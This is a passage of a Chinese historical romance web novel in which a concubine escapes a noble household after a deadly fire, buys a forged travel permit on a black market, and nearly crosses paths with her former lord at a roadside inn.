孙宜看着碧珠远去的背影,总感觉自己好像忘了什么事,刚跨进屋子,她想起来,今日不正是恒哥儿的生辰吗?方才碧玉手里端的长寿面,正是她昨日特意交代厨房准备的。 孙宜重重地叹了口气。 这叫个什么事啊。 恒哥儿生母今日葬身火海,他却浑然不知,吃着长寿面,这么一想,让人心里不是滋味,孙宜拿不准主意,要不要告诉恒哥儿。 思来想去,最后还是决定,等谢漼回来再说。 谢璋吃着面,突然问道:“碧珠,那废弃院子的火扑灭了吗?” 碧珠一听谢璋问起这事,脸色顿时有些紧张,支吾着回答:“……还没呢,火势太大了,一直未能扑灭。” 本以为谢璋不会再追问,没想到他紧接着又问:“是哪个院子,位于府中何处?” 碧珠贴身伺候谢璋,深知他聪明过人,即便眼前只是个五岁的孩童,可对上他那双清澈的眸子,还是忍不住紧张起来,结结巴巴地说:“……奴婢、奴婢,也不知……” 谢璋没有再问。 此刻,谢进却不在谢府。 前几日,老夫人去别庄小住,派人传来口信,说别庄太静,四下冷冷清清,她一人住着,怪冷清寂寞的,问谢进能不能去陪陪她这个老人家。 谢进收到消息后,第二天就收拾好东西,去别庄。 别庄地处都城郊外,风光旖旎,少有人往来,十分静谧清幽,倒很适合潜心读书,谢进每日陪老夫人说说话,其余时间就专心读书,日子一天天过去,他的心越来越静,也不觉得在别庄的日子无趣,便一直住了下来。 这日,谢进平日里惯用的墨用完了,打算回府去取,顺便到街上逛逛,买点东西。谢进刚刚翻身上马,下人就匆匆跑来禀报,老夫人犯了头病,让他赶紧过去看看。 谢进从马上跃下,一路跑着回去,担心地问:“请大夫了吗?” 那仆人:“还未……老夫人一直念叨着您,叫小的赶紧叫你过去。” 谢进:“快去请大夫。” 谢进还未进去,便听见房里老夫人“哎呦哎呦”的声音,奔了进去,急道:“阿奶,阿奶……您怎犯头病了?可是昨晚又没睡好?” 丫鬟正在一旁,替老夫人揉着头。 老夫人:“老毛病了,不碍事,只要炎哥儿来看我,我这头啊,就舒服多了……” 谢进一听,想起刚才仆人的话,“阿奶,我已让人去请大夫了,阿奶也真是的,身子不舒坦就该早点叫大夫,怎第一时间叫我呢?” 老夫人乐呵呵的。 大夫来了,为老夫人仔细诊病,说并无大碍,只开了些安神的药。谢进见老夫人没事,陪了一会,便告诉老夫人自己要出门。 老夫人:“炎哥儿要出门做什么?” 谢进道:“回府拿些我常用的墨,再去街上买些吃食。” 老夫人:“这些让下人去做便是,何必劳烦你亲自跑一趟?” 谢进刚想开口,老夫人又道:“我这头还是有些发昏,要是炎哥儿能陪我说说话,就会好受些,炎哥儿,你可愿陪陪阿奶?” 谢进便暂且放下出门的打算,让下人去府中取墨,心想,等老夫人身子好些了,再回去也不迟。 谢进答应了:“好。” 清挽院。 丫鬟们站在院门口,紧紧聚作一团,眼中满是惊惧,主院,大火熊熊燃烧,天气本就炎热,再加上大火扑面而来的炽热气浪,烤得众人汗流浃背,衣服湿透了。 数十名仆人提着水桶来回奔跑,将水泼向火海,再去打水,半个时辰后,火势终于小了些。 承安、瑞宝、康顺几人冲在最前面,瑞宝见火小了,用湿布裹住手,上前去推那紧闭的门,却感觉好似有一股力量从后面抵住。 门后竟有东西堵着。 瑞宝因惊恐瞪大了眼睛。 承安神色冷峻:“怎了?” 承安心中沉重万分,听闻清挽院走水的消息,他连衣服都没顾得上穿整齐,便急忙冲了出去。待望见那烈烈大火,好似有一盆冰水,兜头浇下,从头浇到脚心,凉透了。 心中只觉,完了。 承安叫人去丫鬟房查看,那些丫鬟睡得死沉,用力拍打身子才醒来。这般大火,近在咫尺,她们却毫无察觉。承安便知 事有蹊跷,询问之后,得知有两个新来的丫鬟不在,是府上刚分到清挽院的。 承安知道这事,因别的院都拨了丫头,并未在意。 承安有了一种不祥的预感。 当务之急,得将火先扑灭了。 瑞宝满头大汗,脸上沾满了煤灰,还有几道未干的泪痕,眼中布满了红血丝:“后面有东西挡着,推不开!” 其实,大家心里都有数,姨娘恐怕是没了。 只是心中,仍残存着一丝侥幸。 活要见人,死要见尸。 承安拉开了瑞宝:“我来。”承安练过功夫,力气比瑞宝大上许多,他猛地发力一推,只听见“咔吱”一声闷响,伴随着东西滚动的声音,还夹杂着一声微弱的物体坠地声。 门口几人都看去。 里面大火汹涌,热气挟着浓烟扑面而来。 可就在看清门口情景的那一刻,几人只觉脊背发凉,一股寒意从脚底直窜到头顶,眼珠都快瞪了出来。 只见—— 门口横卧一具焦黑尸体,已不成人形,五官扭曲变形,面目全非,头皮被烧得干裂,身体大部分肌肤已被烧尽,露出大片大片的骨头,两只手臂、手指以诡异的姿势弯折着。 显然,这具尸体挡在门后,被承安用力一推,手臂便折了。 这人应是想要打开门,或是拍门呼救,只差一步,便能逃出生天。 有一只簪子躺在门槛边。 承安用湿布将簪子捡起,略微擦拭,这簪子便恢复如初。 簪子上的红色宝石,在火光映衬下,反射出五彩华光,夺目璀璨,即便历经烈火焚烧,也未损分毫。 瑞宝一屁股坐到地上,泪水夺眶而出,大颗大颗地滚落。 宋嬷嬷走进来,吕令萱神色阴沉,急切问道:“那两个丫头去哪了?可找到了?” 宋嬷嬷摇头:“……许是怕事情败露,被爷严惩,大概是逃了。” 吕令萱:“我都答应会留她们一命,还安排好了去处,竟不信我……当真是坏我大事!” 宋嬷嬷:“不过如此一来倒也说得通,二人值夜之时,不慎引燃了火烛,起初未曾察觉,等发现时火已大了,二人怕被责罚,便逃了……” 吕令萱:“你继续差人去找,若是寻到了,便直接……” 宋嬷嬷:“是。” 清挽院的火终于彻底扑灭,房中发现了两具焦尸。承安立在院中,开始审问,问了几个丫头,得到的说辞都一样,她们都睡得极死,夜里没听见任何声响,直到被人叫醒才知起了火。 不一会,有人来报,院后偏门边叠着三块石头。 承安上去,踩了踩,观察高度,又让几个丫鬟、男仆依次尝试。 这种高度,即便踩着石头,好几个矮些的男仆都爬不上墙,更别提女子。 如此看来,姨娘院中新来的那两个丫鬟,应粗通拳脚。 承安心中已大致确定,姨娘是被人有预谋地杀害了。 他当机立断,下令道:“先去寻那两个丫头。” 寻真、引儿二人没有户籍,不能去客栈住。二人跑出来时,正值宵禁,二人躲躲藏藏,时刻警惕着周围的动静,若是听见衙役的脚步声,便蜷缩在角落阴暗处,连呼吸都不敢大声。 约摸一个时辰后,到了城郊一处偏远之地,有一座破庙,暂且住在这里。等到城中街鼓再次响起,二人带上面纱,去附近的街市。 昨夜又是跟人拼死搏杀,又爬墙逃亡,还来了月事,寻真的身体极度疲惫,双腿酸软得难以支撑身体,她的身体几乎到了极限,但她的精神却处于一种高度兴奋的状态,异常亢奋。 寻真感觉很刺激。 寻真不禁想起从前看过的武侠片,有种闯荡江湖的感觉。 两人坐在破庙中,引儿从包袱中拿出一贯铜钱:“姐……姐姐,我去街上买些吃食吧。” 寻真:“一起去。” 她们把包袱从稻草里挖出来,毕竟装了那么多金子,随身带着才放心。 寻真一路走走停停,每走一段路,便扶着墙歇一会儿,再继续走。走了半个时辰才到街市,寻了个小摊吃馄饨。 寻真饥肠辘辘,只觉得从未吃过这么好吃的馄饨,把汤都喝光了。 昨晚,两人商量过。如今她们没有户籍,属于黑户。一旦被发现,便要被判杖刑,甚至还有可能坐牢。京都官兵太多,查得严,她们必须想办法出城。可没有户籍,就无法办理“过所”这一通行证。 寻真想起看过的电视剧,比如,可以混入商队,塞点钱,伪装成商队的雇工,帮忙搬运货物时,趁乱混出城门。 引儿觉得此计不可行,因为有些商队会主动向官府报备人员情况,她们二人看着就可疑,特别是寻真,一看便是养尊处优惯了的,商队走南闯北、见多识广,一眼便能瞧出异样,京都又有那么多显贵,商队可不愿惹这麻烦,给再多钱也不会帮,说不定还会转头就去官府告发。 对这一番言论,寻真指了指自己:“我?养尊处优?” 引儿就笑:“姐姐自己怕是不知,你常年足不出户,皮肤这般白,一看便是从未在外面风吹日晒、辛苦劳作过,手上只有笔茧,且身上还带着书卷气。” “更别说姐姐这对眼,一看便是未经历过风霜的,商队见多了人,自然能看出你来历不凡。” 好吧,引儿说的也对。 不过,书卷气,她身上竟有这玩意? 虽然的确,上辈子这辈子加起来,都读了有十七年书了。 第97章 第97章“假户籍” 寻真又提出,或者搞个假户籍,京都中可能会有人做这种灰色产业,只是没路子,短时间内很难找到。 寻真决定跑路时,自然清楚这事儿的难度………本来寻真是打算装作流民,混在贫民堆里,等日子久了,对周围环境熟悉了,再四处打听打听,看能不能找到办理假户籍的地方。 引儿说:“我知晓一处,或许可办‘过所’。” 寻真:还真有这种灰色产业! 不过,引儿怎知道? 寻真:“你知道哪里有卖?” 引儿:“从前偶然听旁人说起,西市有个地下交易的地儿,但那人没说具体在哪,都过去好些年了,也不晓得现在还有没有这档子生意。” 有需求就有市场。 寻真直觉,肯定还在! 二人吃过馄饨,赴西市一探究竟。 因着引儿的话,寻真特意乔装改扮了一番,买了罐色泽偏黄的粉,将脸抹得蜡黄,又去成衣铺,买了两套粗陋朴素的衣服,两人换上后,在西市转了一圈,一无所获。 这黑市自然不会摆在明面上。 天色渐渐阴沉下来,二人准备回去。往回走时,街尽头突然闯入十几个魁伟男子,手中拿着画像,正四处比对路人。寻真和引儿都察觉,强自镇定,那些人的目光在寻真和引儿身上扫过,最终还是略过了她们。 吕令萱找了府外的打手,他们手上的画像是那两个丫鬟的,所以这些人都不认识寻真和引儿,她们这才侥幸逃过。 走出这条街时,寻真突然听到一串敲击声,三长两短,因为这敲击频率是与谢进定过的暗号,所以寻真比较敏感,即便周围嘈杂喧闹,一下子就注意到了。 寻真转过头,是一个卖蓑衣的小摊贩,那人坐在条凳上,脚边摆着个倒扣的陶罐,他正用陶碗敲击着青石板。不多时,便有一行人蹲在他面前,用手指在陶罐边缘轻轻叩了五下。 寻真停下脚步,一直看着那人,引儿也回头:“姐姐,怎了?” “没什么,我们回去吧。” 两人前脚刚走,后脚谢府的家仆便来了,街上铺子的店家见又有人来问,面露困惑之色,谢府家仆多问了几句,便得知在他们之前来过一批人,那群人身强体壮,面相凶狠,像是市井中的打手,于是立刻派一人回去,将此事告知承安。 寻真二人对此一无所知,恰好错过。 两人回到破庙,雨倾盆而下。 引儿想起刚才那群人,心有余悸地说道:“姐姐,那几人看着不像是谢府的人,倒像是……打手。” 寻真脸色凝重:“看来我们得尽早离开京都……幸好今天来的这波人不认识我们。” 引儿:“若买不到路引,便只能照姐姐说的,多花些银子贿赂商队,赌一赌了,不然我们这般形迹可疑,很快便会被人察觉。” 寻真脑海中却浮现出在西市看到的那一幕,那人敲陶罐,怎么看都像那种见不得人的对接暗号。 引儿:“姐姐别怕,即便被发现,我们 也有兜底。” 寻真:“什么兜底?” 引儿:“要是被官兵逮住了,我们就搬出谢府的名号,让人去给承安报信。那些官兵看在谢府的份上,肯定不敢马上治我们的罪。等承安知道了赶来,我们便没事了。” 寻真也知道。 当然,不到万不得已,为了保住小命,只能向承安求助。 但,不到绝境,寻真不想动用这个“底牌”。 寻真:“我们明日再去一趟西市……我早上好像看到了黑市的暗桩。” 引儿:“在哪儿呢?我怎没看到?” 寻真:“还不确定,明天去看看……若买到了,我们明天就走。” 谢府家仆很快将消息传给了承安,承安已完全确定,那群人背后定是害姨娘的主谋,赶忙令人加急彻查,定要抢在那群人之前找到人。 雨滴重重地砸在屋檐上,承安望向窗外,爷四日前便动身了,再有三日便差不多该到了。 若爷知晓姨娘已香消玉殒,还是这般惨状。 爷会如何…… 承安不敢想。 雨越下越大,谢府的仆人望着天色,感叹这天变得如此之快。早上还是艳阳高照,西院那么大的火,打空了好几个井的水才将火扑灭,没想到下午竟下起了雨,众人纷纷叹息,只叹,若这雨能早些来,西院那位或许也不会死了。 忽然,西边传来一声巨响,仆人们望向那方向,议论纷纷。 “什么声音?怎这么响?” “那儿不已没人了吗?怎会有这声音?” “要不……去看看?” “你去,我可不敢……若是那、那……冤魂作祟……” 有三个胆子较大、好奇心重的男仆,结伴走过去。西院正房一片焦黑,雨水打在房梁上,仿佛发出诡异的声响。其中一人心中害怕,扯了扯前面人的衣服,战战兢兢地说:“柳、柳姨娘……想必还没走呢,我们还是别打扰她清净了……” 另一人却道:“好像是后面传来的声音,我们去看看?” “你们去吧,我走了……”一人转身便跑。 “我也、我也不看了……”第二个人也吓得离开。 只剩一人,那男仆小心翼翼地绕过院子,走到后面。 见一片西瓜藤,靠近房屋的部分都已烧焦。有一条粗壮的树枝,横在西瓜地上,足有成年男子两条大腿那般粗。 再看一旁的老槐树,断裂处露出一个巨大的创口,切口十分整齐,像是被人砍断的。 这般粗壮的枝条,怎么会无缘无故自己断掉?! 实在诡异得很! 这男仆本是个胆大之人,可看到这等景象,再回头望那烧得焦黑的房子,心中也不禁发怵。 那房子遭大火肆虐,屋顶不堪重负,塌陷了,墙体没了支撑,裂缝横七竖八地蔓延开来。大颗大颗的雨滴,重重砸在屋顶的坍塌处,发出沉闷的“咚咚”声,一下一下,好似敲在人心上。残缺的墙壁上,雨水顺着墙面蜿蜒流淌,淅淅沥沥。 整个院子静得可怕,在谢府中,仿佛被单独隔开了。 无边的雨幕中,透着说不出的凄凉。 仔细听来,那雨声竟像一位女子在凄厉哭喊。这男仆不禁想起刚才旁人的话。 难不成,真的是柳姨娘的鬼魂在喊冤? 男仆脸色骤变,拼命跑开了。 到了晚上,一则传言在府中下人们口中迅速传开。 半夜那场大火,实在疑点重重。加之府上多年来在暗处的龌龊事本就不少,而柳姨娘又一直备受五公子宠爱,五少夫人不受五公子待见,这是大家有目共睹的。如此一来,谁最恨柳姨娘,最想她死,便一目了然了。 谢彦成从仆人口中听闻清挽院失火一事,中午便从尚书省赶回府中,去了清挽院看了看,彼时,大火已被扑灭,院门紧闭。 承安打开门,谢彦成看到里面并排躺着的两具焦尸。 谢漼临行前,曾找谢彦成拜托,若柳氏逢困厄之境,望他能看在谢漼的面子上,施以援手。谢彦成自然是应下了。 侄儿上回去陇州,亦是这般托付,这些年看下来,谢二爷自然明白,那柳氏在他心中分量,定是很重的。 不知待侄儿归来,该如何向他交代。 心中隐隐忧虑,柳氏一死,怕是会让他们叔侄间生分了。 晚上,孙宜问谢二爷是否先将柳氏入殓,把丧事给办了。那尸体整日放在院中,总归不是个事儿,如今天热,虽那院子偏,可时日一长,焦尸的腐臭气难免会飘散开来,于府中声誉有碍。 谢彦成:“再放放吧,缮之还有几日便要回了,好歹让他见柳氏最后一面。你安排人每日运些冰块过去,稳住尸身,等缮之回来,再操办丧事。” 说完,谢彦成重重叹了口气。 孙宜也跟着叹了口气,过了许久,又道:“最近府中有些流言,我抓了几个嚼舌根的下人,打了板子,才消停了些。” 谢彦成:“都说了些什么?” 孙宜便说,下人们都在传,说是五少夫人嫉妒柳氏得宠,故而痛下杀手。 谢彦成:“……她不是被禁足?如今期限未到,又如何能害得了柳氏?” 孙宜:“夫君有所不知,老夫人前些日子又病了,便唤令萱前去侍疾。老夫人一声令下,府中谁敢阻拦?” “……老夫人。”谢彦成喃喃,脸色更凝重了些。 翌日清晨,谢璋正要跑出院门,碧珠急忙小跑着追了上去,一把揪住他的衣角,焦急地说道:“恒哥儿,奴婢不是与您说过了吗?府外有刺客呢,危险得很,您可不能出去,就在这院子里玩,好不好?” 谢璋看了一眼她的手,身子往旁边挪了挪。 碧珠知谢璋不喜欢旁人触碰他,可夫人有令,不能让恒哥儿出去,她也只能硬着头皮抓住他。 谢璋拧着眉:“我知道了。”转身往回走。 碧珠松了口气。 谢璋快走到门口时,又顿住脚步,小脑袋仰了起来,朝着西边望去。 而在破庙熬了一夜的寻真,已经不觉得逃亡的日子刺激了,昨天还下了雨,破庙又潮又热,空气中弥漫着一股难以言喻的酸臭味。寻真怀疑这味道是从自己身上散发出来的。自逃出谢府后,一直没条件洗澡,刷牙洗脸用的都是附近河里打来的水。 至于饮用水,也没得挑,只能直接喝河水。 那河水还有股怪味道。 真像引儿说的,她过惯了富贵日子,身体都“娇气”了, 喝了河水之后,居然闹肚子了,引儿却什么事都没有。 于是,引儿又去集市买了只锅,将河水烧开了再喝。 寻真晚上实在睡不着,毕竟两人带着那么多金子,这破庙随时可能有人闯入。 还有,寻真睡惯了软床,地上不仅硌得慌,还有虫子爬来爬去。 而引儿显然比她更适应这种环境。 下午,寻真身子缓过来了些,二人再度去西市,寻真又看到了那个卖蓑衣的摊贩,他依旧坐在条凳上,脚边倒扣着陶罐,寻真把包袱给引儿,让她在不远处等着,若是情况不对,就分开跑。 寻真过去了,在摊贩面前蹲下,用指尖在陶罐上叩了五下。 那摊贩头也不抬,嗓子浑浊,含糊说了一句话。 “……去北榆巷。” 寻真想再问详细些,后面来了个客人,询问蓑衣的价钱,那摊贩便不再搭理她,起身招待那个客人。 两人决定去北榆巷,先回破庙,把三个包袱埋在土里,只背了一个。两人一路打听,终于到了北榆巷。 那巷子十分偏僻狭小,没走几步便到了尽头,尽头处有个入口,黑洞洞的,透着一股阴森。 怪不得那人只说了个巷子名,原来一到,就能找到。 两人迟疑着。 引儿抱着包袱,有些害怕:“姐姐,要不我们还是……” 寻真:“你在外面等我,我进去。若我感觉情况不对,就大喊,你赶紧跑……放心,我跑得快,不会被抓住的。” 寻真虽也有些害怕,但胆子比引儿大些。 引儿:“要不,要不我还是跟你一起进去吧。” 寻真:“你拿着钱,进去了,万一跑不过人家,岂不是钱全被抢走了?还是我去。你找地方先躲起来。” 寻真深呼吸,鼓起勇气走进黑洞洞的入口。 倒没她想的那么可怕。 进去后,发现里面别有乾坤,极为宽敞开阔,举目四望,不见边际。中央罗列着各类赌具,骰盅、牌九、筹码……人潮涌动,喧闹嘈杂声不绝于耳,声声叫嚷、阵阵哄笑交织在一起。 不多时,一个身着短褐、身形精瘦的年轻男子快步走来,拱手作揖,问道:“小姐大驾光临,不知有何需求?” 寻真直截了当地问:“你们这有没有过所?” 那人闻言,上上下下将寻真打量一番,眼神中透着审视与估量,然后微微颔首,道:“小姐随我来。”领着寻真朝着一处小房间走去 寻真跟着他走时,回想起他那眼神,似乎是在判断她付不付得起的样子。 封闭房间里,那男子直接问:“小姐要的东西,我们这里自是有,只不过价格昂贵,不知小姐是否愿意。”接着,男子比了一个手指,应该是说金额。 寻真思索片刻,心想这假过所应该不会那么便宜。 于是问道:“一百两?” 那男子摇了摇头:“小姐莫要说笑,这般要命的东西,怎可能卖这般便宜,便是我们敢卖,小姐你敢买吗?” 寻真:“那是……一千两?” 男子微笑,默认了。 这也太贵了吧…… 寻真想到,她在谢府时,一个月例银才二十两。 所以她这五年的例银,也就够买这一个假过所。 见寻真久久沉默,那男子道:“看小姐气度不凡,不像是拿不出这些钱的人。” 寻真咬牙应下:“你给我准备一份过所,我一会便取钱给你。” 寻真出去后,和引儿一起清点包袱里的钱,还不够,又跑回破庙挖出包袱。买了这张路引,两人的包袱明显瘪了不少。 寻真抱着包袱进去时,引儿担忧地问:“姐姐,若是我们被骗了该怎么办?” 寻真:“那也没办法,总要试试,赌一把。” 但寻真的直觉告诉她,是真的。 一手交钱,一手交货,效率倒也挺高。 寻真拿着空瘪的包袱出来,手里多了张通行证。 寻真看着这张文书,只感叹—— 暴利生意啊! 第98章 第98章“相逢” 假过所上是伪造的身份信息,乃卖药商贾梅氏之同胞姊妹,梅花、梅枝二人,家中祖母身患重病,危在旦夕,姊妹二人急欲返乡省亲。行程自东都起,取道汴州、宋州,最终抵达洛州老家。 引儿看了眼信息,咦了一声。 寻真:“怎么?” 引儿:“……我们去洛州?” 寻真摇了摇头,翻开《大周舆地志》,给引儿指了个地方。 “我们先去寿州。” 先去汴州,之后走水路,沿通济渠一路坐船南下,之后,便多花些钱换小船,从淮河进入寿州城。 “寿州?” 寻真:“这过所毕竟是假的,用多了,一旦被官府发现,若追究起来,很容易被抓住。等到了寿州,便要想法子重新入籍。” “去年淮河多地闹了洪灾,应有许多流民,我们就混在这些流民里头,想来官府应该会有救济流民的政策,我们就借口说在洪灾里失去了亲人,又失忆了,便有很大几率可重新入籍了。” 二人分开行动,采买物资,引儿负责买衣物、干粮,以及路上所需的各类物品。寻真则前往书肆,买《律疏》。 之前谢漼借给她看过,她隐隐约约记得里面关于户籍的一些条款,印象不深,得确认清楚,好安排接下来的路该怎么走。 寻真到书肆,找寻无果,才知道律书这类法律典籍,不会放在书肆卖给普通百姓。她一问,书肆老板眼中满是狐疑之色,寻真赶紧跑了出来。 然后寻真又去了黑市。 一回生,二回熟。见寻真又来了,那小哥还挺意外,又宰了她一笔,寻真花了五十两银子,买了一整套《律疏》。 书也好贵。 钱越来越少,看来以后得省着用了。 寻真翻来覆去看了一下午,只在《户婚律》篇目中,看到对户籍、土地、赋役等事项的规定,与流民安置存在间接联系。通篇读下来,没有一处明确写如何安置流民,只说地方官员有义务对流民进行登记,安排好他们,让流民能重新有地种,搞生产。不过,这些流民往后是要给朝廷服劳役的。 具体政策,还是得到了才知道。 引儿说她请的马车和车夫明日早上卯时在城门口等她们。 入了夜之后,万籁俱寂。 寻真只用河水擦了身,但身上仍黏着汗,很不舒服,靠在稻草堆上,还是睡不着。望着黑漆漆的房顶,心中涌起一抹淡淡的愁绪。 明日便要离开这座生活了五年的城市了。 前路茫茫,未知太多,不知道会发生什么。 希望一切顺利吧。 第二晚,寻真已有些适应了,虽然很热,鼻尖还萦绕着臭味,不知不觉中,困意上头,睡着了。 睡了个好觉,寻真精神饱满,浑身充满了力量,只是,身上多了不少被虫咬的包。 看来自己适应环境的能力还是挺强的嘛。 引儿买了不少药品,其中就有紫草膏,可以治疗蚊虫叮咬。 两人互相帮涂药膏,准备就绪,出发了。 清晨,城门口熙熙攘攘,车夫按时候在约定之处。 车夫三十岁上下,身形精悍,沉默寡言。寻真和引儿一来,简单交流了几句行程事宜,便上了车。 过城门时,寻真心里一阵紧张,官兵接过假过所,仔细查看上面的字迹和印信,随后要求她们掀开车帘。寻真掀起车帘,迎着官兵审视的目光。 数秒后,官兵挥了挥手,示意放行。 马车缓缓驶出城门,寻真如释重负,后背已被汗水湿透,里衣都贴在了背上。 这一关,算是有惊无险地过了。 马车辚辚,驶出一段距离,寻真与引儿见已远离城门,紧绷的神经渐渐松弛,神色也舒缓了许多。骤然,身后传来一声高喝:“停——!” 寻真和引儿对视,眼中闪过惊惶,寻真抓住引儿的手,以眼神安抚,比口型,示意她不要慌,稳住。 官兵过来,连个招呼也不打,猛地掀开车帘。 寻真:“二位大人,不知有何事相询?” 另一名官兵手持两张画像,端详着二人面容,仔细比对一番后,挥手示意放行,面上带了几分歉意,微笑说道:“两位娘子,多有冒犯,此乃例行巡查。” 寻真对这明显礼貌多了的官兵笑了笑:“大人言重,敢问可是在追捕逃犯?是何等模样,说不定民女能帮衬一二。” 那个没礼貌的官兵举起画像给她们看:“你们可曾见过这两人?” 寻真摇了摇头。 两名官兵转身往回走去。 一人道:“……又不是!” 另一人道:“这两位娘子瞧着便是良善之人,我早说不是,你偏要查,倒惊吓了娘子。” 寻真自然认出画像上是那两个丫鬟。 两人在车内咬起耳朵。 引儿:“……官兵已经开始抓人了,看来谢府的人都信了是那两人杀了人逃走,姐姐,咱们的计策多半成了。” 寻真点点头:“暂时是安全了。” 寻真坐了半个时辰的马车,就感觉屁股不像是自己的了。寻真回想起以前,那时她还嫌弃谢漼的马车颠,现在比起来,简直一个天上一个地下,要不是这两天的艰苦环境磨炼了一下自己的身体,寻真怕是刚坐上马车便要吐了。 傍晚时,进入了偃师一带。 荒郊野路间,路过一家客栈,客栈前,有三株粗壮的大树,枝叶稀 落。屋檐下,高悬一面红色酒旗,随风招展,给这片寂寥地添了几分烟火气息。 寻真与引儿打算在此留宿一晚。 客栈的门由木板搭建而成,表面呈现出岁月侵蚀之态,有些破旧。店内桌凳亦是磨损严重。一进入,饭菜的香气若有若无地散来,二人肚子咕噜一叫,饿了。 车夫到后院去喂马,寻真走向柜台,向掌柜询问。 这客栈虽偏,也住了不少歇脚的客人,眼下还剩六间房。寻真要了两间。 大堂中,二人寻了一处空位坐下,点了三道菜,静等饭菜上桌。 正等上菜时,寻真听到一阵急促、密集的马蹄声,由远及近,似骤雨击打着屋瓦。寻真心中一惊,神色瞬间紧张起来,朝门外望去。 只见远方的驿道上,一行人正疾驰而来,约摸七八人。 为首一人,身姿挺拔,骑在一匹枣红骏马之上。那马四蹄翻飞,带起一阵疾风。 两旁衰草层层叠叠,马蹄踏过,黄尘漫天,将周围的一切都笼罩,人与马渐渐变得模糊不清,而那为首之人却在这片混沌之中,愈发凸显出非凡的气质。 他头戴一顶黑色斗笠,垂下的面纱随风飘动。 寻真心跳陡然加快。 小二上了菜,引儿将碗筷摆好,见寻真看着外面,目光有些呆滞,拍了拍。 “姐姐,你在看什么?” 引儿顺着她的目光朝外看去,自然也看到那一行人了。 因他们都带着斗笠,看不清面容。 便小声在寻真耳边问:“可是那一行人可疑?” 寻真没有回答,好似没有听见。 那一行人的马蹄声由急转缓,速度逐渐慢了下来,朝客栈的方向驶来。 寻真惊醒了似的,猛地扭头环视周遭环境,问柜台茅厕在哪,柜台指了方向之后,寻真一把拽住引儿的手,往那方向冲去。 二人掩在通往后院的门后,盯着店门。 引儿满脸疑惑:“……姐姐?” 寻真比了个“嘘”。 引儿点点头,不说话了,也一同紧张地看向门口。 马蹄声越来越近,那哒哒的蹄声,仿佛踩在寻真耳边, 须臾,一个身着劲装的男子大步踏入客栈。他先是向店家询问了客房状况,而后将客栈中剩余的所有房间都定下,接着又转身出去了,看那模样,似乎是要向他的主子汇报这客栈的情况。 过了一会。 那一行人步入客栈,众人簇拥着一人,寻了两张桌子,纷纷落座。 那为首之人穿一身紫袍,气质卓然,风姿出众,衣角带起的微风都似与这破旧客栈的气息格格不入。 引儿看到为首那人之时猛地瞪大了眼睛,正要张口叫,被寻真捂住了嘴。 小二端着菜过来,见桌上摆好了碗筷,却不见人影,心生诧异,“……人呢?” 柜台答:“两位娘子一道去茅厕了,你拿个菜罩来,莫让风沙脏了饭菜。” 小二应了声,拿来一个竹制网罩,将一桌饭菜罩好。 一名随从目光从旁边桌子收回,转向一旁,语气恭敬:“爷,明日我们何时出发?” 紫袍男子淡淡道:“寅时一刻。” 很快,他们这桌的菜就上齐了。紫袍男子只是略微动了几筷,便让店小二引着上楼了。 引儿的目光满是不解, 寻真冲她摇了摇头。 客寻真的眼中,又何尝没有一丝动摇呢? 寻真本以为,自逃离谢府之后,便也不会见到谢漼了。即便有朝一日相见,也应是数年之后。想来那时,谢漼即便知晓她还活着,也应早已释怀。 没想过,再次相逢,会这么快。 寻真又等了一会,慢慢拿开捂住引儿脸上的手,拉着她上了楼,进了房间。没多久,店小二就把饭菜送了上来。 “谢谢小哥。”寻真拿出一小块碎银,给店小二当作赏钱。 那店小二没想到还有这意外之喜,连忙说了好几句吉祥话。 店小二出去后。 引儿急切问道:“……姐姐,爷就在这里,你为何不认?” 寻真垂着眼,“原因……我在走的那天都跟你说过了。” 引儿:“可是——” 寻真直接打断:“你吃吧,我没什么胃口,先睡了。” 引儿纵有千言万语,也只能咽回肚子里。 寻真上了床,背对引儿。引儿看着寻真的背影,叹了一口气。 寻真只轻声道:“如今我们最难的一关都已经过了,为什么要回头?” “引儿,你难道还想回谢府做奴婢吗?” 引儿其实从没觉得在谢府做奴婢有什么不好,谢府给她吃穿,给她遮风挡雨的屋顶,给她安稳的日子。 “可是,姐姐你又不是——” 若引儿处在寻真的位置,绝对不会做出这个选择。 寻真没有回答她这个问题。 夜晚的客栈很安静,一行人上楼,踩得楼梯嘎吱作响,寻真躺在床的里侧,留意着外面的动静。 不多时,脚步声似乎在不远处停了下来。 有人唤了一声:“爷。” 寻真瞬间神经紧绷。 这里隔音居然这么差? 难道,谢漼就住在隔壁? 入夜后,寻真耳边时不时传来引儿的叹息声,寻真耳朵贴着墙上,隔壁房没什么动静。 引儿翻来覆去,像是终于忍不住了,开口:“姐——” 寻真连忙手指竖起在唇前,用气声说:“这里隔音很差,会被听到。” 引儿也用气声回复:“姐姐,我们真的不与爷相认吗?明日一早他们便要走了,我们就再也没机会了。” 须臾,引儿又道:“姐姐,你……真的舍得吗?” 寻真拍拍她的肩:“睡吧睡吧,明早醒来我们也要赶路呢。” 引儿还想说些什么,寻真背过了身。 她应该知道谢漼给她的那封信写了什么了。 原来,是要说这个。 如果,那天她看到了信的内容。 她的决定会改变吗? 应该…… 不会变吧。 寻真闭上了眼睛,眼角溢出温热的液体,浸入枕头,很快就消失不见了。 第99章 第99章“冰凉” 小破客栈不仅隔音差,遮光也不行。 寻真睡得浅。天稍稍亮了,日光毫无阻碍地透进来,照到脸上,寻真便醒了。 门外传来一阵急促脚步声。 寻真支起身,同时留意到墙边也传来窸窸窣窣的动静。 寻真小心翼翼爬起床,从引儿脚后脚边绕过去,走到门前。 打开门上横披小窗,向外看去。 一行人脚步匆匆,正往右边走去。 寻真的目光紧随着一人,就在那人即将消失在视野中时。 那人突然顿足,仿若察觉有人窥视。 寻真只能看到对方的腰部,心里一惊,手一拉,迅速合上了横披窗。 这声响,在寂静的过道里显得格外突兀。 寻真站在门后,身躯僵凝,一动也不敢动,轻轻拍了一下自己的手背。 引儿亦被这声音惊醒,欲开口,寻真急忙摇头,眼睛瞪得大大的。 引儿缓缓闭上嘴,没有出声。 过道。 “……爷?”一人顺着谢漼的目光看向寻真的房间。 谢漼的目光在那紧闭的门上停留了一会儿,“无事。” 寻真听着脚步声远去,拍了拍胸口,抹了把额头的冷。 引儿小声问:“……爷走了?” 寻真嗯了声:“你再睡会儿,我去楼下活动活动身子,时间差不多了,再来叫你。” 说完,不等引儿回应,寻真便开门出去了。 四处张望,周遭一片静谧。 至栏杆边,寻真微微探身,倚着栏杆向下看去。堂内,店小二正手持扫帚清扫地面,其中两张桌上,几碗清粥和几碟小菜还冒着丝丝热气,显然是刚用过饭不久。 寻真揣着几个铜钱,打算下楼也点碗粥吃。 走到楼梯口,鬼使神差转头,望向她隔壁的房间。 